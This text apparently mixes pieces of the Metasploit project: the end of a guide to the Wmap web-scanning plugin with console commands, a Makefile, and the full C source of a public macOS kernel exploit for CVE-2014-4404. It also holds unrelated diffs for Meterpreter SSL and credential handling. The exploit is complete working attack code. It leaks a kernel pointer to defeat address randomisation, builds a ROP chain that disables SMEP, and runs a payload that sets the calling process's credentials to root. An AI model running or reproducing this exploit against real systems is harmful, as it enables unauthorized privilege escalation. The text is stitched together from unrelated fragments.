(at this time) the results will import services (no web sites, pages or
forms associated to them).
msf > db_import
Usage: db_import <filename> [file2...]
Filenames can be globs like *.xml, or **/*.xml which will search recursively
Currently supported file types include:
Acunetix XML
Amap Log
Amap Log -m
Appscan XML
Burp Session XML
...
Or you can add a site manually to the database using the 'wmap_sites -a'
command (after loading the wmap plugin. See '4. Wmap Plugin'):
msf > wmap_sites -a www.blah.net,http://192.168.0.2/
[*] Site created.
Note: www.blah.net,http://192.168.0.2/ <-- is one site vhost,url
For other tools to store web data in the database the only hard part is to
deal with the ruby marshalling of parameters in the web_forms table. (Topic
for another paper). But this is one of the main issues regarding the use of
other tools to connect to the database. However any Ruby based tool can be
modified easily to do this.
If you noticed the previous architecture the ATTACK PROXY has gone the way of
the Dodo (actually not as is just another client). But i will stop mention it
because i have been unable to create a good Ruby based MITM proxy (Sorry)
and second because i dont want to maintain plugins for every type of proxy
out there. Is your exercise to create custom plugins for your tools to connect
to the database, after that Wmap does not care where the data comes from.
=[ 3. The Wmap cycle ]--------------------------------------------------------
Or how every other scanner works but in wmap fancy terms.
0. Gather data from (See Crawlers,proxies and other clients)
targets
1. Load the scanner (Load wmap plugin. See "4. Wmap Plugin")
2. Optional: Define nodes (Use 'wmap_nodes'. See "6. Wmap Nodes")
3. Define targets (Use 'wmap_sites' and 'wmap_targets'.See "5. Wmap Targets")
4. Configure (Lots of things here)
5. Launch (Use 'wmap_run'. See "7. Launch a scan")
6. Enjoy WTF Moments(Priceless...)
Note: Step 2 is optional as Wmap allows you to perform distributed scans
using multiple nodes. If no nodes are configured the scan runs as usual
running all tests from the local host.
=[ 4. Wmap Plugin ]-----------------------------------------------------------
To launch wmap open a Metasploit console and load the wmap plugin.
msf > load wmap
[*] [Wmap 1.5] === et [ ] metasploit.com 2012
[*] Successfully loaded plugin: wmap
Now that the plugin is loaded lets go through the list of basic commands:
msf > help wmap
Wmap Commands
=============
Command Description
------- -----------
wmap_nodes Manage nodes
wmap_run Test targets
wmap_sites Manage sites
wmap_targets Manage targets
wmap_modules Manage wmap modules
wmap_vulns Display web vulns
=[ 5. Wmap Targets ]----------------------------------------------------------
The targets are selected from the sites already stored in the database. For
example after crawling a site (See "2. Crawlers,proxies and other clients").
Now we can use the command 'wmap_sites' to list them:
msf > wmap_sites
[*] Usage: wmap_sites [options]
-h Display this help text
-a [url] Add site (vhost,url)
-l List all available sites
-s [id] Display site structure (vhost,url|ids) (level)
msf > wmap_sites -l
[*] Available sites
===============
Id Host Vhost Port Proto # Pages # Forms
-- ---- ----- ---- ----- ------- -------
0 10.10.10.1 blah.xyz.com 443 https 3 2
1 10.10.10.2 blah.xyz.com 443 https 3 2
2 10.1.2.2 nah.test.com 443 https 1 0
3 10.4.3.10 test.abcd.com 80 http 1 1
Note 1: Metasploit/Wmap supports multiple Vhosts/IPs.
Note 2: If you want to check the web site structure use the '-s site_id' flag
like this (also especify an optional level to display):
msf > wmap_sites -s 0 1
(First level of site 0)
msf > wmap_sites -s 0
[10.10.10.1] (blah.xyz.com)
|
+-------- dir1
|
+------ login.php
+-------- dir2
....
Then from the table we can select the targets we want to scan with the
'wmap_targets' command:
msf > wmap_targets
[*] Usage: Wmap_targets [options]
-h Display this help text
-t [urls] Define target sites (vhost1,url[space]vhost2,url)
-d [ids] Define target sites (id1, id2, id3 ...)
-c Clean target sites list
-l List all target sites
You can define targets in two ways, using the vhost,url syntax (-t) or the
table ids (-d)
msf > wmap_targets -t test.abcd.com,http://10.4.3.10/
msf > wmap_targets -d 0,1
[*] Loading blah.xyz.com,https://10.10.10.1:443/.
[*] Loading blah.xyz.com,https://10.10.10.2:443/.
To see the list of all the targets to scan at this time run the
command with the (-l) flag.
msf > wmap_targets -l
[*] Defined targets
===============
Id Vhost Host Port SSL Path
-- ----- ---- ---- --- ----
0 blah.xyz.com 10.10.10.1 443 true /
1 blah.xyz.com 10.10.10.2 443 true /
2 test.abcd.com 10.4.3.10 80 false /
=[ 6. Wmap Nodes ]------------------------------------------------------------
Wmap uses 'nodes' as a way to distribute the execution of the test against
one or more targets. Nodes are not required to run wmap . if nodes are not
configured and a scan is launched wmap will detect this and launch all tests
from the local host.
The nodes are just msfrpcd servers that are created the following way:
msf>ruby msfrpcd -h
Usage: msfrpcd <options>
OPTIONS:
-P <opt> Specify the password to access msfrpcd
-S Disable SSL on the RPC socket
-U <opt> Specify the username to access msfrpcd
-a <opt> Bind to this IP address
-f Run the daemon in the foreground
-h Help banner
-n Disable database
-p <opt> Bind to this port instead of 55553
-u <opt> URI for Web server
msf>ruby msfrpcd -U msf -P nodepass
[*] MSGRPC starting on 192.168.0.1:55553 (SSL):Msg...
[*] MSGRPC backgrounding at 2012-01-17 11:01:01 -0600...
if you want to create a msfrpc server from the msfconsole you can do it by
loading the msgrpc plugin:
msf > load msgrpc User=msf Pass=nodepass
[*] MSGRPC Service: 127.0.0.1:55552
[*] MSGRPC Username: msf
[*] MSGRPC Password: nodepass
[*] Successfully loaded plugin: msgrpc
On a later stage in the wmap console we will add such nodes so the scans can
be distributed across all the configured nodes. so remember how you deployed
your nodes so they can be configured in wmap.
In the metasploit console after you have loaded the wmap plugin you can add
the previous nodes with the 'wmap_nodes' command:
msf > wmap_nodes
[*] Usage: wmap_nodes [options]
-h Display this help text
-c id Remove id node (Use ALL for ALL nodes
-a host port ssl user pass Add node
-d host port user pass db Force all nodes to connect to a db
-j View detailed jobs
-k ALL|id ALL|job_id Kill jobs on node
-l List all current nodes
msf > wmap_nodes -a 192.168.0.1 55553 true msf nodepass
[*] Connected to 192.168.0.1:55553 [4.2.0-dev].
[*] Node created.
Note: When launching msfrpcd waiht for a couple of seconds beofr adding it to
wmap as msfrpcd sometimes is slow to start accepting connections.
Add as many nodes you want. To see the list use 'wmap_nodes -l':
msf > wmap_nodes -l
[*] Nodes
=====
Id Host Port SSL User Pass Status #jobs
-- ---- ---- --- ---- ---- ------ -----
0 127.0.0.1 55553 true msf nodepass 4.2.0-dev 0
1 192.168.0.1 55553 true msf nodepass 4.2.0-dev 0
Note: After launching all tests this command will allow you to see if all
your jobs have been completed (#jobs == 0).
Remember that all these commands can be added as a .rc file so you dont
have to type again and again the loading of wmap and the configuration of
nodes.
After you have your nodes connected then you can force them to connect to
the central metasploit database:
msf > wmap_nodes -d 127.0.0.1 7175 dbuser dbpass msf3
[*] db_connect {"driver"=>"postgresql", "db"=>"msf3"} 127.0.0.1:7175 OK
[*] db_connect {"driver"=>"postgresql", "db"=>"msf3"} 192.168.0.1:7175 OK
[*] OK.
=[ 7. Launch a scan ]---------------------------------------------------------
Now that database,targets and maybe nodes are set we run a scan with the
'wmap_run' command:
msf > wmap_run
[*] Usage: wmap_run [options]
-h Display this help text
-t Show all enabled modules
-m [regex] Launch only modules that match provided regex
-p [regex] Only test path defined by regex..
-e [/path/to/profile] Launch profile modules against all targets.
No file runs all enabled modules.
msf > wmap_run -e
[*] Using ALL wmap enabled modules.
[*] Testing target:
[*] Site: test.abcd.com (10.4.3.10)
[*] Port: 80 SSL: false
============================================================
[*] Testing started. 2012-12-21 0:0:0 -0600
[*]
=[ SSL testing ]=
============================================================
[*] Target is not SSL. SSL modules disabled.
[*]
=[ Web Server testing ]=
============================================================
[*] Module auxiliary/admin/http/http_version
[*] Module auxiliary/admin/http/tomcat_administration
[*] Module auxiliary/admin/http/tomcat_utf8_traversal
[*] Module auxiliary/admin/http/trendmicro_dlp_traversal
[*] Module auxiliary/scanner/http/cisco_nac_manager_traversal
....
msf >
As you see here wmap executes each of the modules against the defined targets.
(See "8. Wmap Modules") If nodes were configured it will go thru the list of
nodes and will send a job to the less loaded node to execute the especific
module with the required options. To force a good job distribution across the
nodes wmap has a limit of 25 jobs per node. If a node has reached the limit it
will try with the next node until there is a slot available.
Check periodically with the 'wmap_nodes -l' command to see the current job
status. After the asssement is complete now you can use the normal metasploit
commands to see the results.
To view detailed job information on each node use the 'wmap_nodes' (-j) flag:
msf >wmap_nodes -j
[*] [Node #0: 127.0.0.1 Port:55553 SSL:true User:msf]
[*] Jobs
====
Id Job name Target PATH
-- -------- ------ ----
0 Auxiliary: scanner/http/dir_scanner 192.168.0.1:80 /
...
[*] [Node #1: 127.0.0.1 Port:55555 SSL:true User:msf]
[*] Jobs
====
Id Job name Target PATH
-- -------- ------ ----
2 Auxiliary: scanner/http/dir_scanner 192.168.0.2:80 /
...
Also you can kill especific jobs or all jobs from one or all nodes:
msf > wmap_nodes -k 0 ALL
[*] Node 0 Killed job id 262 Auxiliary: admin/http/tomcat_administration
[*] Node 0 Killed job id 263 Auxiliary: admin/http/tomcat_utf8_traversal
[*] Node 0 Killed job id 271 Auxiliary: scanner/http/soap_xml
[*] Node 0 Killed job id 299 Auxiliary: scanner/http/brute_dirs
[*] Node 0 Killed job id 300 Auxiliary: scanner/http/brute_dirs
[*] Node 0 Killed job id 301 Auxiliary: scanner/http/brute_dirs
....
If during the scan a node dies wmap will disable the node and will keep
sending the jobs to the other active nodes.
If nodes were not configured wmap will launch the tests from the
local host the old fashion.
=[ 8. Wmap Modules ] ---------------------------------------------------------
Wmap modules are normal Metasploit modules. Each module has a WMAP type,
this determine when the module is launched and to a certain degree,the minimum
type of information it requires to be executed. The best way to develop a new
test for wmap, is to use already implemented modules as a base and then
develop a normal MSF module that can be run manually from the command line. To
enable a module to be run automatically via wmap just include the mixin that
determine the type of the module (Means: just add the example string to a
module and use the correct type).
Example:
include Auxiliary::WmapScanFile
The following are the types of modules implemented at this time and they are
listed in the order WMAP runs them:
WmapScanSSL - Run once against a SSL server
WmapScanServer - Run once against a target Web Server
WmapScanDir - Runs for every directory found in the target
WmapScanFile - Runs for every file found in the target
WmapScanUniqueQuery - Runs for every unique query found in each request to the
target
WmapScanQuery - Runs for every query found in each request to the target
WmapScanGeneric - Modules to be run after all tests complete.Good place to
perform passive analysis of responses, analysis of test
results to launch other modules (i.e. exploits).
Note: Multiple mixins can be included in a module if needed.
The execution order not only is handled by the wmap type but also it can be
adjusted across all modules by defining a wmap orderid number using the
'register_wmap_options' method.
Using http_version.rb module as an example:
Class Metasploit3 < Msf::Auxiliary
# Exploit mixins should be called first
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanServer
# Scanner mixin should be near last
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'HTTP Version Detection',
...
)
register_wmap_options({
'OrderID' => 0,
'Require' => {},
})
...
'OrderID' Numeric value that represents the order ALL modules will be executed
You can see the modules and orderid with the 'wmap_modules -l'
command:
msf > wmap_modules -l
'Require' Array of all the modules orderids that are required to be executed
and finished first before the curent module. (This specific
funtionality is still in the works, but the objective is to have
modules to provide results as input to other modules.)
Wmap enabled modules can be reloaded using the wmap_modules -r command.
=[ 9. RANDOM NOTES ]----------------------------------------------------------
Because every test is a module the datastore is sent to the module in the node
for execution. If a module you create needs a specific option set before
launch just set it in the console as a regular variable. For example:
msf > set DOMAIN abcd.com
DOMAIN => abcd.com
msf >
This is usefull if you want to include exploits in the testing and not only
auxiliary modules. WMAP looks for wmap enabled modules in ALL auxiliary and
exploit modules.
Also if you have asked yourself why there are commands that receive not only
table id but the ugly vhost,url syntax for site and target definition is
because this allows to do complex scripts, so be creative.
If you see a Reauth message in WMAP is because the XMLRPC token is not valid
and a reauthentication to the nodes is required. But dont worry wmap does that
automaticaly for you.
=[ 10. Results ]--------------------------------------------------------------
Modules may report results as notes (notes) , vulnerabilities (vulns) and/or
web vulnerabilities (web vulns). As notes and general vulnerabilities can be
displayed using the metasploit commands 'notes' and 'vulns', Wmap implements
'wmap_vulns' to display the results stored in the web_vulns db table. The
reporting is basic at this time , however the Metasploit database can be
easily accessed to fullfill your reporting needs.
Note: Always check 'notes', 'vulns' and 'wmap_vulns' for results.
=[ 11. TO DO ]----------------------------------------------------------------
- The quality of the scan depends on the quality of the modules. So please
contribute more modules and improvements. If you dont contribute , you dont
have the right to complain. The only key issues to consider are:
+ The module should follow metasploit guidelines
+ Add the right mixin(s)
+ The module should store the right data and results in the database
+ Always use report_vuln or report_web_vuln to report output from a
module as report_note overwrites results if 'type' is the same.
+ The module has to have a clear purpose!!!!
Is better to have multiple modules with simple tasks/objectives that
one that does everything.
+ The variables/options used in the datastore have to be the same between
wmap and the module so wmap can pass the right information to it.
Usually this is the naming convention to use for the options:
OptString:
'VHOST' = HTTP Virtual Host
'METHOD' = HTTP Method
'PATH' = HTTP URI Path.
'QUERY' = HTTP URI Query usually in the param1=value1& form.
'DATA' = HTTP Data. In a POST request is the body of the request.
Usually in the param1=value1& form.
'HEADERS'= HTTP headers (header1=value1;..)
OptBool:
'VERBOSE'= Verbose flag.
Note: This naming convention may change. However if this naming
convention is used any changes can be implemented easily.
- Also if you want to take the big task of developing a ruby MITM proxy for
metasploit that will be very helpfull for the project.
=[ Disclaimer ]---------------------------------------------------------------
I dont work for R7. XD
==============================================================================
et [ ] metasploit.com 2012

View File

@ -0,0 +1,11 @@
all: key_exploit
key_exploit: key_exploit.c
clang -o key_exploit key_exploit.c -framework CoreFoundation -framework IOKit -g -D_FORTIFY_SOURCE=0
install: key_exploit
install -m 755 key_exploit ../../../../data/exploits/CVE-2014-4404
clean:
rm -rf key_exploit
rm -rf key_exploit.dSYM

View File

@ -0,0 +1,375 @@
//
// Source: https://code.google.com/p/google-security-research/issues/detail?id=126
// Blog Post: http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html
// Exploit Author: Ian Beer
//
// clang -o key_exploit key_exploit.c -framework CoreFoundation -framework IOKit -g -D_FORTIFY_SOURCE=0
// ianbeer
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <unistd.h>
#include <CoreFoundation/CoreFoundation.h>
#include <IOKit/IOKitLib.h>
uint64_t kernel_symbol(char* sym){
char cmd[1024];
strcpy(cmd, "nm -g /mach_kernel | grep ");
strcat(cmd, sym);
strcat(cmd, " | cut -d' ' -f1");
FILE* f = popen(cmd, "r");
char offset_str[17];
fread(offset_str, 16, 1, f);
pclose(f);
offset_str[16] = '\x00';
uint64_t offset = strtoull(offset_str, NULL, 16);
return offset;
}
uint64_t leaked_offset_in_kext(){
FILE* f = popen("nm -g /System/Library/Extensions/IONDRVSupport.kext/IONDRVSupport | grep __ZTV17IONDRVFramebuffer | cut -d' ' -f1", "r");
char offset_str[17];
fread(offset_str, 16, 1, f);
pclose(f);
offset_str[16] = '\x00';
uint64_t offset = strtoull(offset_str, NULL, 16);
offset += 0x10; //offset from symbol to leaked pointer
return offset;
}
uint64_t leak(){
io_iterator_t iter;
CFTypeRef p = IORegistryEntrySearchCFProperty(IORegistryGetRootEntry(kIOMasterPortDefault),
kIOServicePlane,
CFSTR("AAPL,iokit-ndrv"),
kCFAllocatorDefault,
kIORegistryIterateRecursively);
if (CFGetTypeID(p) != CFDataGetTypeID()){
printf("expected CFData\n");
return 1;
}
if (CFDataGetLength(p) != 8){
printf("expected 8 bytes\n");
return 1;
}
uint64_t leaked = *((uint64_t*)CFDataGetBytePtr(p));
return leaked;
}
extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef);
uint64_t load_addr(){
uint64_t addr = 0;
CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL);
CFIndex count = CFDictionaryGetCount(kd);
void **keys;
void **values;
keys = (void **)malloc(sizeof(void *) * count);
values = (void **)malloc(sizeof(void *) * count);
CFDictionaryGetKeysAndValues(kd,
(const void **)keys,
(const void **)values);
for(CFIndex i = 0; i < count; i++){
const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman);
if (strcmp(name, "com.apple.iokit.IONDRVSupport") == 0){
CFNumberGetValue(CFDictionaryGetValue(values[i],
CFSTR("OSBundleLoadAddress")),
kCFNumberSInt64Type,
&addr);
printf("%s: %p\n", name, addr);
break;
}
}
return addr;
}
uint64_t* build_vtable(uint64_t kaslr_slide, uint64_t payload, size_t* len){
uint64_t pivot, mov_rax_cr4, mov_cr4_rax, pop_rcx, xor_rax_rcx, pop_pop_ret;
uint64_t kernel_base = 0xffffff8000200000;
kernel_base += kaslr_slide;
int fd = open("/mach_kernel", O_RDONLY);
if (!fd)
return NULL;
struct stat _stat;
fstat(fd, &_stat);
size_t buf_len = _stat.st_size;
uint8_t* buf = mmap(NULL, buf_len, PROT_READ, MAP_FILE|MAP_PRIVATE, fd, 0);
if (!buf)
return NULL;
/*
this stack pivot to rax seems to be reliably present across mavericks versions:
push rax
add [rax], eax
add [rbx+0x41], bl
pop rsp
pop r14
pop r15
pop rbp
ret
*/
uint8_t pivot_gadget_bytes[] = {0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e};
uint8_t* pivot_loc = memmem(buf, buf_len, pivot_gadget_bytes, sizeof(pivot_gadget_bytes));
uint64_t pivot_gadget_offset = (uint64_t)(pivot_loc - buf);
printf("offset of pivot gadget: %p\n", pivot_gadget_offset);
pivot = kernel_base + pivot_gadget_offset;
/*
mov rax, cr4
mov [rcx], rax
pop rbp
ret
*/
uint8_t mov_rax_cr4_gadget_bytes[] = {0x0f, 0x20, 0xe0, 0x48, 0x89, 0x01, 0x5d, 0xc3};
uint8_t* mov_rax_cr4_loc = memmem(buf, buf_len, mov_rax_cr4_gadget_bytes, sizeof(mov_rax_cr4_gadget_bytes));
uint64_t mov_rax_cr4_gadget_offset = (uint64_t)(mov_rax_cr4_loc - buf);
printf("offset of mov_rax_cr4 gadget: %p\n", mov_rax_cr4_gadget_offset);
mov_rax_cr4 = kernel_base + mov_rax_cr4_gadget_offset;
/*
mov cr4, rax
pop rbp
ret
*/
uint8_t mov_cr4_rax_gadget_bytes[] = {0x0f, 0x22, 0xe0, 0x5d, 0xc3};
uint8_t* mov_cr4_rax_loc = memmem(buf, buf_len, mov_cr4_rax_gadget_bytes, sizeof(mov_cr4_rax_gadget_bytes));
uint64_t mov_cr4_rax_gadget_offset = (uint64_t)(mov_cr4_rax_loc - buf);
printf("offset of mov_cr4_rax gadget: %p\n", mov_cr4_rax_gadget_offset);
mov_cr4_rax = kernel_base + mov_cr4_rax_gadget_offset;
/*
pop rcx
ret
*/
uint8_t pop_rcx_gadget_bytes[] = {0x59, 0xc3};
uint8_t* pop_rcx_loc = memmem(buf, buf_len, pop_rcx_gadget_bytes, sizeof(pop_rcx_gadget_bytes));
uint64_t pop_rcx_gadget_offset = (uint64_t)(pop_rcx_loc - buf);
printf("offset of pop_rcx gadget: %p\n", pop_rcx_gadget_offset);
pop_rcx = kernel_base + pop_rcx_gadget_offset;
/*
xor rax, rcx
pop rbp
ret
*/
uint8_t xor_rax_rcx_gadget_bytes[] = {0x48, 0x31, 0xc8, 0x5d, 0xc3};
uint8_t* xor_rax_rcx_loc = memmem(buf, buf_len, xor_rax_rcx_gadget_bytes, sizeof(xor_rax_rcx_gadget_bytes));
uint64_t xor_rax_rcx_gadget_offset = (uint64_t)(xor_rax_rcx_loc - buf);
printf("offset of xor_rax_rcx gadget: %p\n", xor_rax_rcx_gadget_offset);
xor_rax_rcx = kernel_base + xor_rax_rcx_gadget_offset;
/* need this to jump over the vtable index which will be called:
pop r15
pop rbp
ret
*/
uint8_t pop_pop_ret_gadget_bytes[] = {0x41, 0x5f, 0x5d, 0xc3};
uint8_t* pop_pop_ret_loc = memmem(buf, buf_len, pop_pop_ret_gadget_bytes, sizeof(pop_pop_ret_gadget_bytes));
uint64_t pop_pop_ret_gadget_offset = (uint64_t)(pop_pop_ret_loc - buf);
printf("offset of pop_pop_ret gadget: %p\n", pop_pop_ret_gadget_offset);
pop_pop_ret = kernel_base + pop_pop_ret_gadget_offset;
munmap(buf, buf_len);
close(fd);
void* writable_scratch = malloc(8);
memset(writable_scratch, 0, 8);
uint64_t rop_stack[] = {
0, //pop r14
0, //pop r15
0, //pop rbp +10
pop_pop_ret,
0, //+20
pivot, //+28
pop_rcx,
(uint64_t)writable_scratch,
mov_rax_cr4,
0, //pop rbp
pop_rcx,
0x00100000, //SMEP bit in cr4
xor_rax_rcx, //flip it
0, //pop rbp
mov_cr4_rax, //write back to cr4
0, //pop rbp
payload //SMEP is now disabled so ret to payload in userspace
};
uint64_t* r = malloc(sizeof(rop_stack));
memcpy(r, rop_stack, sizeof(rop_stack));
*len = sizeof(rop_stack);
return r;
}
void (*IOLockUnlock) (void*);
int (*KUNCExecute)(char*, int, int);
void (*thread_exception_return)();
void* (*proc_ucred)(void*);
void* (*kauth_cred_get)();
void* (*kauth_cred_setuidgid)(void*, int, int);
void* (*current_proc)();
void rebase_kernel_payload(uint64_t kaslr_slide){
IOLockUnlock = kernel_symbol("_lck_mtx_unlock") + kaslr_slide;
KUNCExecute = kernel_symbol("_KUNCExecute") + kaslr_slide;
thread_exception_return = kernel_symbol("_thread_exception_return") + kaslr_slide;
proc_ucred = kernel_symbol("_proc_ucred") + kaslr_slide;
kauth_cred_get = kernel_symbol("_kauth_cred_get") + kaslr_slide;
kauth_cred_setuidgid = kernel_symbol("_kauth_cred_setuidgid") + kaslr_slide;
current_proc = kernel_symbol("_current_proc") + kaslr_slide;
}
// rather than working out the offset of p_ucred in the proc structure just get
// the code to tell us :)
// proc_ucred just does return arg->u_cred
uint64_t find_ucred_offset(){
uint64_t offsets[0x80];
for (int i = 0; i < 0x80; i++){
offsets[i] = i*8;
}
return proc_ucred(offsets);
}
// need to drop this IOLock:
// IOLockLock( _deviceLock);
// at code exec time rbx points to this, and this->_delegate->deviceLock is that lock
// so need to call IOLockUnlock(rbx->_delegate->deviceLock)
void kernel_payload(){
uint8_t* this;
//__asm__("int $3");
__asm__("movq %%rbx, %0" : "=r"(this) : :);
//this now points to the IOHIKeyboardMapper
uint8_t* IOHIKeyboard = *((uint8_t**)(this+0x10));
void* _device_lock = *((void**)(IOHIKeyboard+0x88));
IOLockUnlock(_device_lock);
// real kernel payload goes here:
//KUNCExecute("/Applications/Calculator.app/Contents/MacOS/Calculator", 0, 0);
//thread_exception_return();
// get root:
uint64_t ucred_offset = find_ucred_offset();
void* old_cred = kauth_cred_get();
void* new_cred = kauth_cred_setuidgid(old_cred, 0, 0);
uint8_t* proc = current_proc();
*((void**)(proc+ucred_offset)) = new_cred;
thread_exception_return();
}
void trigger(void* vtable, size_t vtable_len, char* exe){
kern_return_t err;
CFMutableDictionaryRef matching = IOServiceMatching("IOHIDKeyboard");
if(!matching){
printf("unable to create service matching dictionary\n");
return;
}
io_iterator_t iterator;
err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
if (err != KERN_SUCCESS){
printf("no matches\n");
return;
}
io_service_t service = IOIteratorNext(iterator);
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return;
}
printf("got service: %x\n", service);
char* bad_mapping = malloc(0x10000);
memset(bad_mapping, 0, 0x10000);
uint8_t bad_header[] = {
0x00, 0x01, // nmd.shorts = 1
0x00, 0x00, // numMods = 0
0x00, 0x00, // numDefs = 0
0x00, 0x90, // numSeqs = 0x90
};
memcpy(bad_mapping, bad_header, sizeof(bad_header));
uint8_t bad_seq[] = {
0x00, 0x02, // len
0x00, 0x78, 0x56, 0x00, // first entry
0x00, 0x00, 0x00, 0x00, // second entry
0xff, 0xff, // numMods
};
memcpy(bad_mapping + sizeof(bad_header) + 0x8f*2, bad_seq, sizeof(bad_seq));
//need to overallocate and touch the pages since this will be the stack:
mach_vm_address_t addr = 0x0000005678000000 - 10 * 0x1000;
mach_vm_allocate(mach_task_self(), &addr, 0x20*0x1000, 0);
memset(addr, 0, 0x20*0x1000);
memcpy((void*)0x5678000200, vtable, vtable_len);
/*
uint64_t* vtable_entry = (uint64_t*)(0x0000005678000200 + 0x28);
*vtable_entry = 0x123456789abcdef0; // call this address in ring0
*/
CFDataRef data = CFDataCreate(NULL, bad_mapping, 0x10000);
err = IORegistryEntrySetCFProperty(
service,
CFSTR("HIDKeyMapping"),
data);
execve(exe, NULL, NULL);
}
int main(int argc, char** argv) {
if (argc < 2) { printf("Usage: ./%s [payload_exe]\n", argv[0]); exit(1); }
uint64_t leaked_ptr = leak();
uint64_t kext_load_addr = load_addr();
// get the offset of that pointer in the kext:
uint64_t offset = leaked_offset_in_kext(); //0x8cf0;
// sanity check the leaked address against the symbol addr:
if ( (leaked_ptr & 0xfff) != (offset & 0xfff) ){
printf("the leaked pointer doesn't match up with the expected symbol offset\n");
return 1;
}
uint64_t kaslr_slide = (leaked_ptr - offset) - kext_load_addr;
printf("kaslr slide: %p\n", kaslr_slide);
rebase_kernel_payload(kaslr_slide);
size_t vtable_len = 0;
void* vtable = build_vtable(kaslr_slide, kernel_payload, &vtable_len);
trigger(vtable, vtable_len, argv[1]);
return 0;
}

View File

@ -107,7 +107,7 @@ class Metasploit::Framework::CredentialCollection
File.open(user_file, 'r:binary') do |user_fd|
user_fd.each_line do |user_from_file|
user_from_file.chomp!
if password
if password.present?
yield Metasploit::Framework::Credential.new(public: user_from_file, private: password, realm: realm, private_type: private_type(password) )
end
if user_as_pass

View File

@ -30,10 +30,12 @@ class Meterpreter < Rex::Post::Meterpreter::Client
include Msf::Session::Scriptable
# Override for server implementations that can't do ssl
# Override for server implementations that can't do SSL
def supports_ssl?
true
end
# Override for server implementations that can't do zlib
def supports_zlib?
true
end
@ -49,11 +51,24 @@ class Meterpreter < Rex::Post::Meterpreter::Client
:ssl => supports_ssl?,
:zlib => supports_zlib?
}
# The caller didn't request to skip ssl, so make sure we support it
if not opts[:skip_ssl]
# the caller didn't request to skip ssl, so make sure we support it
opts.merge!(:skip_ssl => (not supports_ssl?))
end
#
# Parse options passed in via the datastore
#
# Extract the HandlerSSLCert option if specified by the user
if opts[:datastore] and opts[:datastore]['HandlerSSLCert']
opts[:ssl_cert] = opts[:datastore]['HandlerSSLCert']
end
# Don't pass the datastore into the init_meterpreter method
opts.delete(:datastore)
#
# Initialize the meterpreter client
#

View File

@ -15,7 +15,8 @@ module MeterpreterOptions
OptString.new('InitialAutoRunScript', [false, "An initial script to run on session creation (before AutoRunScript)", '']),
OptString.new('AutoRunScript', [false, "A script to run automatically on session creation.", '']),
OptBool.new('AutoSystemInfo', [true, "Automatically capture system information on initialization.", true]),
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", true])
OptBool.new('EnableUnicodeEncoding', [true, "Automatically encode UTF-8 strings as hexadecimal", true]),
OptPath.new('HandlerSSLCert', [false, "Path to a SSL certificate in unified PEM format, ignored for HTTP transports"])
], self.class)
end

View File

@ -1,6 +1,7 @@
# -*- coding: binary -*-
require 'msf/base/sessions/meterpreter'
require 'msf/windows_error'
module Msf
module Sessions
@ -11,19 +12,109 @@ module Sessions
#
###
class Meterpreter_Python_Python < Msf::Sessions::Meterpreter
def supports_ssl?
false
end
def supports_zlib?
false
end
ERROR_TYPE_UNKNOWN = 1
ERROR_TYPE_PYTHON = 2
ERROR_TYPE_WINDOWS = 3
# 16-bit CRC-CCITT XMODEM
PYTHON_ERROR_CRCS = {
0x02dd => 'NotImplementedError',
0x049a => 'RuntimeWarning',
0x09ae => 'IndentationError',
0x0bf4 => 'SystemExit',
0x1494 => 'GeneratorExit',
0x1511 => 'ConnectionRefusedError',
0x1765 => 'SyntaxWarning',
0x1f0e => 'SystemError',
0x33b1 => 'StandardError',
0x37b8 => 'IOError',
0x39df => 'PermissionError',
0x39e6 => 'AttributeError',
0x3b70 => 'ChildProcessError',
0x3c93 => 'UserWarning',
0x3ca3 => 'BufferError',
0x3e32 => 'StopIteration',
0x423c => 'NotADirectoryError',
0x42f1 => 'ConnectionError',
0x453b => 'UnboundLocalError',
0x470d => 'LookupError',
0x4cb2 => 'WindowsError',
0x4ecc => 'ResourceWarning',
0x532d => 'UnicodeEncodeError',
0x5dde => 'ConnectionAbortedError',
0x6011 => 'EOFError',
0x637f => 'UnicodeWarning',
0x6482 => 'RuntimeError',
0x6a75 => 'ArithmeticError',
0x6b73 => 'BlockingIOError',
0x70e0 => 'UnicodeDecodeError',
0x72b4 => 'AssertionError',
0x75a1 => 'TabError',
0x77c2 => 'ReferenceError',
0x7a4c => 'FutureWarning',
0x7a78 => 'Warning',
0x7ef9 => 'IsADirectoryError',
0x81dc => 'ConnectionResetError',
0x87fa => 'OSError',
0x8937 => 'KeyError',
0x8a80 => 'SyntaxError',
0x8f3e => 'TypeError',
0x9329 => 'MemoryError',
0x956e => 'ValueError',
0x96a1 => 'OverflowError',
0xa451 => 'InterruptedError',
0xa4d7 => 'FileExistsError',
0xb19a => 'ZeroDivisionError',
0xb27b => 'IndexError',
0xb628 => 'UnicodeError',
0xbb63 => 'TimeoutError',
0xbc91 => 'ImportWarning',
0xc18f => 'BrokenPipeError',
0xc3a0 => 'KeyboardInterrupt',
0xcbab => 'ImportError',
0xcd47 => 'NameError',
0xcd82 => 'ProcessLookupError',
0xdd4a => 'BaseException',
0xe5a3 => 'BytesWarning',
0xe97a => 'FileNotFoundError',
0xe98a => 'PendingDeprecationWarning',
0xf47c => 'DeprecationWarning',
0xf7c6 => 'Exception',
0xfa9d => 'EnvironmentError',
0xfcb4 => 'UnicodeTranslateError',
0xff8d => 'FloatingPointError'
}
def initialize(rstream, opts={})
super
self.platform = 'python/python'
self.binary_suffix = 'py'
end
end
end
end
def lookup_error(error_code)
unknown_error = 'Unknown error'
error_type = error_code & 0x0f
return unknown_error if error_type == ERROR_TYPE_UNKNOWN
error_code &= 0xffff0000
error_code >>= 16
if error_type == ERROR_TYPE_PYTHON
python_error = PYTHON_ERROR_CRCS[error_code]
return "Python exception: #{python_error}" unless python_error.nil?
elsif error_type == ERROR_TYPE_WINDOWS
return "Windows error: #{Msf::WindowsError.description(error_code)}"
end
